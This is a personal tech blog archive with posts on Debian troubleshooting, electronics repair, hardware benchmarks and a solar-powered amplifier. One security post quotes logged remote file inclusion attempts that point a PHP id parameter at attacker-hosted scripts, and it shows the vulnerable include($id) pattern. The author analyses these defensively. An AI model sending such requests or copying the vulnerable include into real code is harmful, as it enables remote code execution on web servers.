Tue, 10 Jan 2012

SSD drive speed

Thought I'd just post a quick review of drive speed after recently upgrading to a new SSD drive. Here are the configurations and speeds:

Two WD 1TB Green drives mirrored (RAID1):
Timing buffered disk reads: 256 MB in 3.05 seconds = 84.06 MB/sec

Two WD 36GB 10k RPM Raptor drives stripped (RAID0):
Timing buffered disk reads: 376 MB in 3.01 seconds = 125.04 MB/sec

OCZ Agility 3 90GB, single drive:
Timing buffered disk reads: 656 MB in 3.00 seconds = 218.45 MB/sec

That is pretty quick. And I think the SSD is limited on this machine as it only has a SATA2 interface which is 3GB/s, as opposed to the SATA3 at 6GB/s.

posted at: 19:36 | path: /computers | permanent link to this entry


Thu, 15 Dec 2011

airmiles worth

Airmiles is a canadian rewards point club, where you buy things at participating stores, present your airmiles card, and in turn for you letting them have access to your personal buying habits, they give you points, that you can use to redeem for gift cards or items, trips etc.

One thing that is useful to know is what an airmile is worth, and right now a $20 gift card for groceries or petrol costs 175 points, so 20/175=0.1143, so each point is worth $0.11 cents. So if there is some item offered with 8 bonus points, you can equate that to 8*0.11 or $0.88 cents.

posted at: 14:07 | path: /general | permanent link to this entry


Sat, 10 Dec 2011

fixing a broken power supply

A couple of days ago the lights on my fishtank came on in the morning, but when they did they were flashing on and off like some kind of underwater disco show. I don't think my fish appreciated it much, and so I disconnected the light and started looking into the problem. The lights on the tank are a track of LED lighting that are powered from a 15.2V 1600mA power brick. I figured that was where the problem was and sure enough putting my mutlimeter on it I noticed it fluctuating around a bit. I decided to put my scope on it to see what was going on and got this:

power supply broken

Here we can see the supply is jumping up to 12.5 volts, then dropping down 2 volts every 200 miliseconds or so, which explains why the lights were flashing on and off, but this certainly isn't the desired output. Next up was to open it up and see if anything looked wrong. This proved harder than expected since there wasn't a single screw in the brick design and it was just glued together. I ended up breaking the seal with a screwdriver and finally pried it apart. After some poking about I noticed this one capacitor looks like it had shot its load onto the heatsink.

power supply insides

And here is a not that great picture of the bad cap after it was out, you can see the brown electrolyte that leaked out of the cap

bad cap

And after replacing it we get a steady 15.2V from the supply as it was designed to do (it's not exactly a clean supply, but it does the job for lighting leds)

power supply fixed

Ended up epoxying the plastic case back together and almost as good as new :)

posted at: 00:47 | path: /electronics | permanent link to this entry


Tue, 20 Sep 2011

Gigabyte boot from usb gives Boot Error

I've had this problem recently with some Gigabyte motherboards, and booting from USB to do a debian install. What happens is I create my USB boot stick, or use an existing one that I know works, and when I attempt to boot from it, I get the boot screen and it simply displays "Boot Error:". After searching around I've seen a few different solutions, some people formatting the usb stick in windows first, some plugging the drive in at the right moment during the boot sequence, etc. I tried a couple of these options without any sucess. But I did finally get it working and for myself, the problem seems to be the way I partitioned the device. Normally I create a single partition on the device /dev/sdX1 of whatever size, and then zcat the boot image to the partition. What I did in this case is ignored the partition table all together, and just ran:
zcat boot.img.gz > /dev/sde
mount /dev/sde /mnt
cp debian-6.0.0-i386-netinst.iso /mnt/
umount /mnt
For whatever reason, this seems to boot just fine on this gigabyte board, where doing the same thing onto a partition would give the "Boot Error:" message.

posted at: 19:11 | path: /debian | permanent link to this entry


Fri, 26 Aug 2011

pythonmagick pdf to image

I've always used PIL for image work in python, but I needed to convert a PDF to an image recently and using image magick looked to be the way. There is a pythonmagick interface to use imagemagick in python, but there is zero documentation... Here is what I'm using to do the job:
#!/usr/bin/env python

import PythonMagick

pdf = 'doc.pdf'
p = PythonMagick.Image()    
p.density('600')
p.read(pdf)
p.write('doc.jpg')
This sets the density value (default is 72) that the pdf is read at, so that you can get a higher resolution image from the PDF, and then simply writes it to a jpg file.

posted at: 12:41 | path: /python | permanent link to this entry


Wed, 18 May 2011

Fixing bad capacitors on lcd monitors

I had monitor with a problem where it would not power on correctly after it was off. It would just flash over and over again until it got warm, and then would start working and be fine until it was turned off for some time, and then back on again. These types of problems usually end up being something wonky with the power supply and often end up being caused by a capacitor or two that have gone bad. If you crack it open you can usually find them and simply replace them to get the monitor working again. This has happened to me a few times over the years and it's a relatively easy fix, so I thought I'd go over the process here with this one.

After cracking the case open and digging out the power supply, you can identify the bad capacitors by the bulgy bent up ones. Sometimes they will have some gunk on the top. In this case you can see the two caps here that are bad (the tall brown ones):

bad caps

Using a solder pump, or wick, suck off the solder from the joints (note, I de-soldered the wrong lead in the bottom right, had to go back and de-solder the proper lead after noticing the cap wasn't budging)


And finally install new caps to replace the ones you removed. Make sure you use a similar spec cap. The ones I removed were 1000uF 16V caps, and I replaced them with 1000uF 25V caps. The same or higher voltage will be fine. Also polarity matters, so make sure you line up the negative lead on the cap with what is marked on the board, or the same orentation as the caps you took out.

good caps

Put it all back together and if everything went alright it should be working like new.

posted at: 18:56 | path: /electronics | permanent link to this entry


Mon, 07 Feb 2011

System policy prevents stopping the system

I had this come up when the power switch is pressed on the system, when I just want the system to shutdown no matter what. Searching around I found the following bug report that ended up having the answer:

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=556376

This can be worked around by creating '/var/lib/polkit-1/localauthority/50-local.d/allow-shutdown-multi.pkla' with the following contents:

[allow shutdown multi]
Identity=unix-user:*
Action=org.freedesktop.consolekit.system.stop-multiple-users
ResultAny=no
ResultInactive=no
ResultActive=yes

posted at: 21:37 | path: /debian | permanent link to this entry


Wed, 09 Jun 2010

Etch to Lenny upgrade of samba with Windows 98 clients

So I just recently upgraded an old server from etch to lenny, that was hosting some files on a samba share for an ultra old Windows 98 machine. Anyways, upgrade went fine, but I ran into a problem authenticating the windows 98 machine to the samba share after the upgrade. Getting the old IPC$ invalid password deal. After stubling around with samaba for a while I found that at some point between the two releases they have disabled lanman authentication as it's rather unsecure and such. And it turns out that is fine, as long as you don't have any windows machines older than XP. So I had to enabled laman authentication in the samba config file by adding the line lanman auth = yes to my /etc/samba/smb.conf file. That did the trick, and now the ancient windows 98 machine can login to the file server again.

posted at: 16:10 | path: /debian | permanent link to this entry

Java applications start with a blank window in awesome wm

I had a problem with opening some java applications in awesome where the app would just come up with a blank screen. It looks like this is due to a bug in java with windows managers that are non-reparenting, which is what awesome is (along with xmonad, dwm, ratpoison, Ion3, etc). Seems you can trick it by impersonating another windows manager which seems to do the trick for me:
sudo apt-get install dwm-tools
wmname LG3D
Reference: http://awesome.naquadah.org/wiki/Problems_with_Java

posted at: 00:40 | path: /debian | permanent link to this entry


Tue, 27 Apr 2010

Flash player 10 64 bit for linux

I hate dealing with flash for linux, but it always comes up that people need flashplayer 10 installed, and getting it on a 64 bit platform (without running it through ndiswrapper) is kind of a pain. Anyways, I always end up having to do this, so I thought I'd put this here for future reference.

posted at: 18:38 | path: /debian | permanent link to this entry


Fri, 22 Jan 2010

Power Supply Efficiency

So a few months ago I was about to upgrade my video card in my main desktop/gaming system, and realized I needed a new power supply. I was still running the stock Antec 380 watt PSU that came with the Sonata case. It wasn't going be able to power the new video card properly, and infact was alredy underpowered for the system it was running in. Anyways, I went out and picked up a Seasonic M12 600 Watt 80 PLUS power supply. The 80 PLUS designation means the power supply is more efficent (the rating states they are 80% efficent at 20%, 50% and 100% utilization). This is somewhere around 20% more efficent than standard power supply units. So anyways, since I was upgrading I decided to run some test before I put the new video card in to see what difference it was making, and here are the results. These are measured using a Kill-A-Watt device.

System: Intel Quad Core Q6600, running a radeon 4830 graphics card.

Antec 380 Watt PSUSeasonic M12 600 Watt PSU
System Off6 watts2 watts
During Bootup218 watts190 watts
Peak During bootup240 watts202 watts
Windows Desktop Idle128 watts111 watts
CS:Source Video Stress Test222-240 watts188->204 watts

And just a quick comparison, this is the seasonic PSU but with the new video card (Nvidia GTX 260) during Counter-Strike Source Stress Test: 189-208, so it seems to use just a tiny bit more power than the ATI Radeon 4830.

Anyways, it's interesting how much of a difference in power usage a quality power supply makes. Those test are identical except for the power supply change, and as you can see it really does make a noticable difference.

posted at: 15:28 | path: /energy | permanent link to this entry


Wed, 30 Sep 2009

Mortgage Calculators

I've been following house prices for a few years, watching what I think is a huge housing bubble develope in Canada. Anyways, I often run little mortgage scenario's on houses just for fun to see how out of whack things are (the average family not being able to afford even a cheap home, etc, etc), and I did a google search for mortgage calculators and found something that I think is interesting.

This site: http://www.mortgagecalculator.net/ that is hosted by who knows, doesn't allow you to put in an interest rate above 9.0 percent. It seems to just not compute and won't show you any numbers? Anyways, that is just out to lunch since interest rates over the past 30 years have been up to 21%, and average around 8% or so. Yeah, they are stupid low now, but it doesn't mean they can't ever go past 9%? Just crazy.

And then I find this other site hosted by the BBC in the UK and they let you enter in your interest rate etc, and in the results they have a "But be careful, at 12% it will be:" amount. Which is exactly what people need to know! So anyways, a nice example of stupid vs sensible. http://www.bbc.co.uk/homes/property/mortgagecalculator.shtml

posted at: 13:29 | path: /general | permanent link to this entry


Wed, 15 Jul 2009

now with rss

Because there is one person who reads this blog I finally got around to hooking up the rss function. Link at the bottom of this page or right here. Enjoy :)

posted at: 20:13 | path: /general | permanent link to this entry

apt-get install in lenny

I was just setting up a minimalistic netboot machine and needed metacity for a windows manager so I typed in apt-get install metacity and got the following:
# apt-get install metacity
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
  desktop-file-utils doc-base dvd+rw-tools evolution-data-server evolution-data-server-common genisoimage gnome-about gnome-applets gnome-applets-data gnome-control-center gnome-desktop-data gnome-doc-utils gnome-media gnome-netstatus-applet gnome-panel gnome-panel-data gnome-session gnome-settings-daemon
  gnome-system-monitor gnome-user-guide gstreamer0.10-alsa gstreamer0.10-plugins-base gstreamer0.10-plugins-good gstreamer0.10-x libaa1 libapm1 libasound2 libcairomm-1.0-1 libcdio7 libcdparanoia0 libcompress-raw-zlib-perl libcompress-zlib-perl libedata-book1.2-2 libedata-cal1.2-6 libedataserverui1.2-8 libeel2-2.20
  libeel2-data libegroupwise1.2-13 libenchant1c2a libexempi3 libexif12 libflac8 libfont-afm-perl libfreezethaw-perl libgdata-google1.2-1 libgdata1.2-1 libglibmm-2.4-1c2a libgnome-window-settings1 libgnomekbd-common libgnomekbd2 libgnomekbdui2 libgstreamer-plugins-base0.10-0 libgtkmm-2.4-1c2a libgucharmap6
  libgweather-common libgweather1 libhtml-format-perl libhtml-parser-perl libhtml-tagset-perl libhtml-tree-perl libhunspell-1.2-0 libio-compress-base-perl libio-compress-zlib-perl liblcms1 libmalaga7 libmldbm-perl libmozjs1d libnautilus-extension1 libnet-dbus-perl libnotify1 liboobs-1-4 librarian0 libsexy2 libslab0
  libsoup2.4-1 libtie-ixhash-perl libtrackerclient0 libuuid-perl libvoikko1 libwavpack1 libwww-perl libxklavier12 libxml-parser-perl libxml-twig-perl libxml-xpath-perl myspell-en-us nautilus nautilus-cd-burner nautilus-data notification-daemon system-tools-backends wodim xulrunner-1.9 yelp
Suggested packages:
  cdrskin evolution evolution-data-server-dbg cdrkit-doc tomboy cpufreqd cpudyn powernowd esound-clients gnome-screensaver xscreensaver gnome2-user-guide gnome-system-tools libasound2-plugins libvisual-0.4-plugins gnome-app-install liblcms-utils voikko-fi libio-socket-ssl-perl libunicode-map8-perl
  libunicode-string-perl xml-twig-tools eog evince pdf-viewer totem mp3-decoder tracker fam xulrunner-1.9-gnome-support
The following NEW packages will be installed:
  desktop-file-utils doc-base dvd+rw-tools evolution-data-server evolution-data-server-common genisoimage gnome-about gnome-applets gnome-applets-data gnome-control-center gnome-desktop-data gnome-doc-utils gnome-media gnome-netstatus-applet gnome-panel gnome-panel-data gnome-session gnome-settings-daemon
  gnome-system-monitor gnome-user-guide gstreamer0.10-alsa gstreamer0.10-plugins-base gstreamer0.10-plugins-good gstreamer0.10-x libaa1 libapm1 libasound2 libcairomm-1.0-1 libcdio7 libcdparanoia0 libcompress-raw-zlib-perl libcompress-zlib-perl libedata-book1.2-2 libedata-cal1.2-6 libedataserverui1.2-8 libeel2-2.20
  libeel2-data libegroupwise1.2-13 libenchant1c2a libexempi3 libexif12 libflac8 libfont-afm-perl libfreezethaw-perl libgdata-google1.2-1 libgdata1.2-1 libglibmm-2.4-1c2a libgnome-window-settings1 libgnomekbd-common libgnomekbd2 libgnomekbdui2 libgstreamer-plugins-base0.10-0 libgtkmm-2.4-1c2a libgucharmap6
  libgweather-common libgweather1 libhtml-format-perl libhtml-parser-perl libhtml-tagset-perl libhtml-tree-perl libhunspell-1.2-0 libio-compress-base-perl libio-compress-zlib-perl liblcms1 libmalaga7 libmldbm-perl libmozjs1d libnautilus-extension1 libnet-dbus-perl libnotify1 liboobs-1-4 librarian0 libsexy2 libslab0
  libsoup2.4-1 libtie-ixhash-perl libtrackerclient0 libuuid-perl libvoikko1 libwavpack1 libwww-perl libxklavier12 libxml-parser-perl libxml-twig-perl libxml-xpath-perl metacity myspell-en-us nautilus nautilus-cd-burner nautilus-data notification-daemon system-tools-backends wodim xulrunner-1.9 yelp
0 upgraded, 95 newly installed, 0 to remove and 2 not upgraded.
35 not fully installed or removed.
Need to get 73.9MB of archives.
After this operation, 194MB of additional disk space will be used.
Do you want to continue [Y/n]? n
Abort.
So then I'm thinking, "what the hell?", I don't need any of those extra packages that it plans to install. How does installing metacity require the gnome-system-monitor? So I did a quick search and it turns out the default behaviour has changed in lenny to install recommended packages by default. And you can change that behaviour by adding a couple lines to your /etc/apt/apt.conf file (just create it if it doesn't exist), and add:
APT::Install-Recommends "0";
APT::Install-Suggests "0";
That changed the my install down to:
# apt-get install metacity
Reading package lists... Done
Building dependency tree
Reading state information... Done
Suggested packages:
  gnome-control-center
Recommended packages:
  gnome-session x-session-manager
The following NEW packages will be installed:
  metacity
0 upgraded, 1 newly installed, 0 to remove and 2 not upgraded.
That is much more like it...

posted at: 19:41 | path: /debian | permanent link to this entry


Fri, 01 May 2009

r8169 NETDEV WATCHDOG transmit timed out problem

I recently built a new home server box using an Intel Atom (BOXD945GCLF2 Atom 330 Dual Core 1.6Ghz to be exact), and ran into a strange problem where the box would crash with an error like this:
[322865.976030] ------------[ cut here ]------------
[322865.976038] WARNING: at net/sched/sch_generic.c:226 dev_watchdog+0xf6/0x18b()
[322865.976043] Hardware name:
[322865.976047] NETDEV WATCHDOG: eth0 (r8169): transmit timed out
[322865.976051] Modules linked in: ipt_MASQUERADE xt_limit xt_helper xt_multiport xt_DSCP xt_tcpudp xt_state ipt_LOG ipt_REJECT iptable_nat nf_nat nf_conntrack_ipv4 nf_conntrack nf_defrag_ipv4 iptable_filter iptable_mangle ip_tables x_tables ipv6 fuse loop hid_pl hid_cypress hid_zpff hid_gyration hid_sony hid_ntrig hid_samsung hid_microsoft hid_tmff hid_monterey hid_ezkey hid_apple hid_a4tech hid_logitech ff_memless hid_cherry hid_sunplus hid_petalynx hid_belkin hid_chicony usbhid hid ds2490 wire cn serio_raw 8139too i2c_i801 rng_core 8139cp parport_pc evdev i2c_core floppy parport ehci_hcd uhci_hcd button thermal processor iTCO_wdt thermal_sys usbcore
[322865.976152] Pid: 0, comm: swapper Not tainted 2.6.29.1 #1
[322865.976156] Call Trace:
[322865.976167]  [] warn_slowpath+0x80/0xb6
[322865.976176]  [] cpumask_next_and+0x23/0x33
[322865.976184]  [] find_busiest_group+0x2fa/0x7e2
[322865.976193]  [] sched_clock_cpu+0x136/0x147
[322865.976200]  [] dev_watchdog+0xf6/0x18b
[322865.976207]  [] hrtimer_forward+0x10c/0x124
[322865.976214]  [] scheduler_tick+0x9c/0x1a3
[322865.976220]  [] getnstimeofday+0x4c/0xcf
[322865.976227]  [] lapic_next_event+0x10/0x13
[322865.976233]  [] dev_watchdog+0x0/0x18b
[322865.976241]  [] run_timer_softirq+0x14a/0x1b4
[322865.976247]  [] dev_watchdog+0x0/0x18b
[322865.976254]  [] __do_softirq+0x8c/0x130
[322865.976260]  [] do_softirq+0x45/0x53
[322865.976266]  [] irq_exit+0x35/0x62
[322865.976272]  [] smp_apic_timer_interrupt+0x71/0x7b
[322865.976280]  [] apic_timer_interrupt+0x28/0x30
[322865.976287]  [] mwait_idle+0x4c/0x5a
[322865.976293]  [] cpu_idle+0x60/0x7a
[322865.976298] ---[ end trace f9e87d98b4ee5218 ]---
[322866.001730] r8169: eth0: link up
It would always happen while transfering large amounts of data out from the server through the onboard gigabyte ethernet listed in lspci as:
01:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168B PCI Express Gigabit Ethernet controller (rev 02)

Sometimes it would sort of freeze up the machine for a minute or two, and others it crashed and rebooted. Anyways, tracking the problem down was quite the pain since it only happened sometimes when transfering large amounts of data. Searching for a fix also was hard, and I found many others with the same problem with this realtek NIC, but no one had a solution. But I eventually stumbled upon this post which was the same problem and the last post is someone saying they were going to try the pci=nomsi boot option. I guess it worked for him and so he never posted back, so I tried that out myself and it seems to have fixed the problem.

The pci=nomsi option seems to disable MSI (Message Signaled Interrupt) which is a feature of the PCI bus revision 2.3 or later. It seems like it sometimes causes problems as it is the solution to a number of different problems with pci devices not working so well.

posted at: 01:37 | path: /debian | permanent link to this entry


Tue, 06 Jan 2009

joule theif

jouletheif

http://www.evilmadscientist.com/article.php/joulethief
http://www.talkingelectronics.com/projects/LEDTorchCircuits/LEDTorchCircuits-P1.html

posted at: 05:14 | path: /electronics | permanent link to this entry


Tue, 21 Oct 2008

Ubuntu install problems - dumping to busybox

I just ran into a problem running with Ubuntu 8.04 install on a machine that would cause the installtion to start booting from CD and then dump you to a Busybox shell with an initramfs prompt. After searching around it looks to be an issue with the IDE/SATA controllers on some motherboards. I ended up fixing the issue by following some instruction from various others that were having the same problem:

Bug #222176: initramfs error/problem ubuntu 8.04

In my case it seems hitting F6 and appending the boot option pci=nomsi solved the problem in my case. Others reported appending all_generic_ide floppy=off irqpoll that solved the issue for them.

posted at: 16:05 | path: /debian | permanent link to this entry


Sun, 14 Sep 2008

Custom X startup using GDM

I wanted to run my own startup script, since I've been using awesome windows manager lately, and wanted to run a few items at startup as well. This ended up being more difficult than it should have been probably, but it works. I ended up just creating a ~/.xsession file like so:
xbindkeys &
exec awesome
Then just made that file executable. I then edited my ~/.dmrc file and changed "Session=awesome" to "Session=custom". That tells GDM to launch X using your ~/.xsession instead of a specific windows manager, allowing you to run whatever you want at startup as well.

posted at: 01:55 | path: /debian | permanent link to this entry


Wed, 04 Jun 2008

Zim Wiki

Hurt pointed me to a program he found called Zim wiki. It's similar to Tomboy notes but different in many ways as well. It runs more as an app, and less as a tray item. The other very cool thing about it is that all the notes are just stored in standard plain text with normal wiki markup type language, making them easily viewable and editable from the command line. Anyways, I'm finding it really quite good and wanted to run the latest version (Debian Etch has 0.17, but 0.25 is out). In order to run it on Etch I had to upgrade a couple perl modules by switching my sources to testing and doing a
apt-get install libfile-desktopentry-perl libmodule-build-perl libfile-basedir-perl
After that it's just a matter of untar'ing the source, and running the binary (<src dir>/bin/zim). Also to make things even more useful, there exists a Tomboy 2 Zim python script to convert your notes if you were using Tomboy.

posted at: 23:08 | path: /debian | permanent link to this entry


Mon, 05 May 2008

new blog

Well wordpress failed me again after I got lazy and didn't upgrade it for a while. It ended up getting hacked through a vulnerability in the image upload script. There didn't seem to be any real damage but it messed up my wordpress database somehow. Anyways, I'm rather sick of upgrading wordpress constantly and so I've switched to pyblosxom. It's nice and simple, no comments, so no spam, and I was able to drop all my old wordpress posts into text files with a simple python script.

posted at: 22:46 | path: /general | permanent link to this entry

ibook g4 debian

I noticed the ibook getting really warm during compiles, and a quick search showed that I needed to load a module to properly monitor the temperature and thus start the fan. Sure enough as soon as I did modprobe therm_adt746x the fan started up. I made sure to add this to the /etc/modules

This also provides /sys/devices/temperatures/sensor1_tempature (and sensor2_temperature) which were at 60 when I first modprobe'd the module but quickly dropped.

posted at: 22:33 | path: /debian | permanent link to this entry

python-mysql on maemo

Compiling python-mysql for use on a nokia n800.

I got the libmysqlclient15 libraries that were released from the gmyth package.
http://sourceforge.net/project/showfiles.php?group_id=177106&package_id=225202

I then downloaded MySQL-python-1.2.2.tar.gz

export LD_LIBRARY_PATH=/usr/lib/mysql
I changed site.cfg file and set threadsafe to false, then ran python2.5 setup.py build
I then changed site.cfg to set threadsafe to true, then ran python2.5 setup.py build again
after that all went well, I ran python2.5 setup.py install and this created an egg /usr/lib/python2.5/site-packages/MySQL_python-1.2.2-py2.5-linux-armv5tel.egg

I copied this to the nokia n800 in the same directory and installed libmysqlclient15_5.0.27_armel.deb and then I was able to import MySQLdb and use mysql.

added /usr/lib/mysql to /etc/ld.so.conf and ran ldconfig

posted at: 22:22 | path: /general | permanent link to this entry


Sat, 12 Jan 2008

weird gtksequence.c errors

Recently I was having a problem with a threaded pygtk app I was working on and nearly went insane trying to track down the problem. What was happening was I would randomly get errors that would cause the application to crash, such as:
Gtk-ERROR **: file gtksequence.c: line 760 (_gtk_sequence_node_find_by_pos): assertion failed: (node->parent != NULL)
aborting...

or

Gtk-ERROR **: file gtksequence.c: line 595 (_gtk_sequence_node_rotate): assertion failed: (node->parent)
aborting...
I couldn't really figure out what was going on since it was so random, it would happen 1 of 10 tries, then 3 of 10 and just all very random. I found the call that was causing it but still managed to not understand what the problem was. Anyways, after carefully going through my code and much google searching, I finally realized that my call was updating the gtk interface but I had forgot to make my call to enter the gtk thread before hand. So as a note to myself, always remember to make gtk.threads_enter/leave() calls! Ack.
gtk.threads_enter()
self.mainapp.function()
gtk.threads_leave()

posted at: 04:48 | path: /pygtk | permanent link to this entry


Fri, 02 Nov 2007

Last.fm OMI (Open Mind Index)

I came across this OMI (Open Mind Index) generator while browsing around last.fm that is rather cool if your a last.fm junkie. As it's described on the website:

The calculation is based on your top-artist of the last 12 months. The weighting of a tag depends on the quantity of your played songs of one artist, as well as the most frequently used tag for this artist. On the basis of quantity, distribution and weighting of the tags, the OMI will be calculated.


So it basically takes your last.fm stats and creates even more stats about your listening. And everyone loves statistics (well, last.fm users do). They also have a bunch of OMI stats based on age, country and so on.

posted at: 03:26 | path: /general | permanent link to this entry


Sat, 06 Oct 2007

php include hack?

I happened to be watching a log file when I was testing something and happened to notice the following type of request go by:

217.11.225.208 - - [05/Oct/2007:12:46:32 -0400] "GET /pictures/index.php?id=830/index.php?id=http://211.155.235.169/sewam/cmd.txt? HTTP/1.1" 200 1435 "-" "libwww-perl/5.805"

85.11.62.235 - - [06/Oct/2007:01:03:47 -0400] "GET /pictures/index.php?id=http://ninaru.hut2.ru/images/cs.txt? HTTP/1.1" 200 1455 "-" "Wget/1.1 (compatible; i486; Linux; RedHat7.3)"


Which was interesting, as it's obviously some type of hack attempt. I decided to look into it and it seems that it's a scripted attempt to just pass the url to any scripts that accept a variable, in hopes that someone was silly enough to accept that variable as an include and happened to have remote includes turned on in there php config, something like this:

< ?php

include($id);
// rest of script
?>


Then when the page is called, the url is passed in as the include and the script gets executed. Which seems to be some type of irc bot, although the file is all encoded to help try and hide what exactly is going on, although I'm sure you end up in some bot net ultimately. And from what I read it's not uncommon for people to actually have a page setup like that for redirects or some such nonsense. Obviously not a good practice as you'd likely end up victim to this request.

Here are a copy of the scripts hosted locally from the above to examples, as I doubt they'll be around forever on those hosts. cs.txt & cmd.txt

posted at: 02:45 | path: /security | permanent link to this entry


Sun, 12 Aug 2007

delayed sleep phase syndrome

My girlfriend recently found this article on wikipedia about delayed sleep phase syndrome, and immediately showed it to me since it describes my sleeping habits exactly. It's interesting as it seems just be a more extreme case of the natural circadian rhythm which has some people being "owls" or those who tend to go to sleep naturally later in the night (midnight - 2am). And on the flip side there are "Larks" who naturally go to bed earlier, and in turn wake up earlier. Along with that there is advanced sleep phase syndrome which is the exact opposite to delayed sleep phase syndrome. And in between are people who sleep more regular hours, sometimes referred to as "hummingbirds". From what I read Owls and Larks each account for about 15% of the population while the remaining 70% are hummingbirds.

In the case of these sleeping problems the best solution seems to be to find a lifestyle that fits with your sleeping since the trouble isn't sleeping at all, it's just when you sleep. All through school, and while I was working 9-5 I always had massive trouble going to bed at night, and getting up in the morning. I tried all kinds of different methods to try and get myself to sleep earlier but nothing ever worked. Even after struggling to get up in the morning, working a long day and then trying to go to bed early I would just lay there forever not falling asleep until after 2am. And thus getting up in the morning would be a massive pain, and thus I've always been late for everything in life if it's in the morning hours. Now that I'm self employed I can pretty much work my own hours and so I just go to sleep when I'm tired at 4 or 5am and sleep until I'm not tired and get up around noon. Unfortunately the world doesn't really work on those hours so finding a lifestyle to fit the more extreme cases of owls and larks isn't always easy, and is almost always a problem during school. But knowing what the problem is certainly makes it easier to find a solution. All through school it was assumed that I just slept too much and the solution seems to be finding out why I slept such long hours, when in fact, I wasn't sleeping very much at all since I was mostly just laying in bed at night not sleeping, or at least not getting any good sleep, and then getting up way to early. In turn making me seem tired all of the time as school hours are nearly my natural sleep hours.

This article titled Everything You Always Wanted To Know About Sleep (But Were Too Afraid To Ask) is a great overview of sleep in general and worth reading if your interested.

posted at: 05:46 | path: /general | permanent link to this entry


Thu, 07 Jun 2007

solar powered t-amp

solar panel laying on the roof
Solar panel laying on the roof.



I've been working on this project over the past couple of months and have finally got it all together. It's basically just a little T-Amp running from a battery bank that I power with a solar panel. I had the idea a little while ago as it pretty much all fits together nicely since the T-Amp is designed to run from a 12Volt battery source, and it just so happens many solar panels are designed for charging just this type of battery. Searching on the net I found someone had already done this as well as outlined on an article on New Consumer. And searching for that article to add the link to this post I see someone has recently posted an instructable for this same idea as well.

But anyways, I thought I'd post what I did anyways even if it's not unique :)

The first thing I did was get a reasonably sized solar panel. I ended up finding a 40 watt SL040 Sunlink PV panel on ebay, sold new from a seller in Toronto who runs a store on ebay called Go Green Energy. The panel was about $320 all said and done and it came with a charge controller as well. This panel is rated at 17.2 volts at 2.33 amps, however since I am charging a 12 volt system with it my effective wattage form the panel is ~28W, but it seems to output that even on cloudy conditions and such which is why I think the panel is designed to be 17.2 volts. It's a little bit wasteful in full sunlight, but does work in a wider range of partial sunlight conditions. (At least thats how I understand it. I'm no expert). It's also pretty small measuring 25"x21" so it fits on our little porch without having to do any work mounting it to the roof or anything.

view from porch onto street
View from porch onto street...



close up of the panel
Close up view of the panel.









two workaholic U2200 batteries in series
Batteries wired in series.



So with the panel I was able to hook the T-Amp directly to the battery terminals from the charge controller and listen to music when it was daylight. However I needed to get some batteries so I could keep it running beyond that. I managed to get two Interstate Workaholic U2200 Deep Cycle batteries from a guy at work for free which was a pretty good score as they would be around $80 each to buy I believe. These are 6 volt batteries with 220 amp hour rating. I hooked them up in series and so I have a 12V battery bank with lots of power now. This should be enough to run the T-Amp for 200+ hours. I'll probably end up hooking up some other 12 volt items to this bank though as the panel should be able to keep the battery charged pretty easily.

To wire everything up I've run the solar panel into the charge controller (as seen in the photo below). I then have the positive feed from the charge controller running to the battery where it is fused off with a 4 amp automotive fuse as close to the battery as possible. The negative lead simply runs directly to the battery. I then have the T-Amp power running to the positive terminal where it is fused off with a 5 amp fuse in another automotive fuse holder. (I purchased the fuses and fuse holders from the automotive section at canadian tire). And the negative lead from the T-amp wried in directly to the negative side of the battery terminal as well. You can also see the jumper cable I'm using in between the two batteries to wire them in series (connecting the positive post of one battery to the negative post on the other battery.

And thats pretty much it. I've been running it on the battery bank now for a week or two and it's been working like a charm.




fuses connected to the postive terminal
Fused positive terminal. Using a 4 amp fuse inbetween the charge controller and the batteries, and a 5 amp fuse between the batteries and the T-Amp


charge contoller
The charge controller, black wires are coming in from the solar panel, and the blue wires are running to the battery. The T-Amp (load) connects to the battery itself.


T-Amp hooked up and running
T-Amp hooked up and running from solar power.




posted at: 20:21 | path: /energy | permanent link to this entry


Sat, 02 Jun 2007

pystone benchmarks

These aren't very sceintific tests, but it's interesting to see the difference from processor to processor. The test I'm performing is a builtin pystone benchmark from the test module in python that tests mostly cpu performance in executing python code. It is simply done by doing the following on a *unix box:

from test import pystone
pystone.main(500000)

It will then output the time it took and the pystones/second value. Run it a few times and take the lowest value. Here are the results from a bunch of machines I have access too:
MachineTimepystones/second
Intel Core 2 Duo 6600 (2.4 ghz)7.0471022.7
Intel Xeon 5110 (1.6 ghz)10.4247984.6
Athlon s969 3200+ (2.0 ghz)12.0241597.3
Athlon s969 3000+ (1.8 ghz)13.3737397.2
AMD Hammer? (1.6 ghz)14.9533444.8
AMD Opteron 242 (1.6 ghz)15.2032894.7
Intel Pentium 4 (2.4 ghz)16.5330248.0
AMD Sempron (1.6 ghz)17.0129394.5
Epia M6000 (600 mhz)74.546707.8
Intel Celeron (300 mhz)100.894955.9

graph

As can be seen from the graph the new Core 2 Duo chip I got outperforms my old AMD 64 3000+ by almost double in this test. And it really does make quite a noticeable difference in just day to day use. Well worth the upgrade I would say...

posted at: 00:00 | path: /general | permanent link to this entry


Thu, 24 May 2007

installing debian on an asus P5B with 4 gig ram

So I decided to do an upgrade on my desktop machine to give it some more power, and cycle down the old system to replace my server as it could really use an upgrade. Did some searching and decided to go with a Intel Core Duo 2 2.4ghz on an Asus P5B board with 4 gigs of ram. Got it all home this evening and started tearing apart my system and installing all the new shinny computer parts. Got it all together without much problem and then started on getting my desktop back up and going. This is where things started getting tricky.

First, the bios was only showing 3 gigs of ram no matter what I tried. After doing a bios upgrade (which you can do on flash memory stick these days), I found a site mentioning a bios setting that you need to change to make it show 4 gigs. (BIOS -> Advanced -> Chipset -> North Bridge Configuration -> Memory Remap Feature).

So after finally getting that sorted out I decided to do a fresh install of debian on a new hard drive I got for the machine. Went through and finished the install, but then realized I only had 2 gigs of ram available. Thinking it was a kernel option I had seen before I recompiled the kernel with 4 gig memory support but no change. Then after doing some googling found out that you need to be running the AMD64 port to be able to access that much memory.

So, I then downloaded the AMD64 installer (which is kind of a strange name since it seems to cover all x86_64 chips). I then ran into a problem with the installer and this particular board it seems and for the installer to not hang you need to run it with the option agp=off so that it doesn't attempt to load the intel_agp driver which seems to cause problems.

But now it seems the system is finally up and going. And this is the first 64bit system I've actually installed as well so that should be interesting...

posted at: 02:55 | path: /debian | permanent link to this entry


Sat, 19 May 2007

passing options to toscawidgets

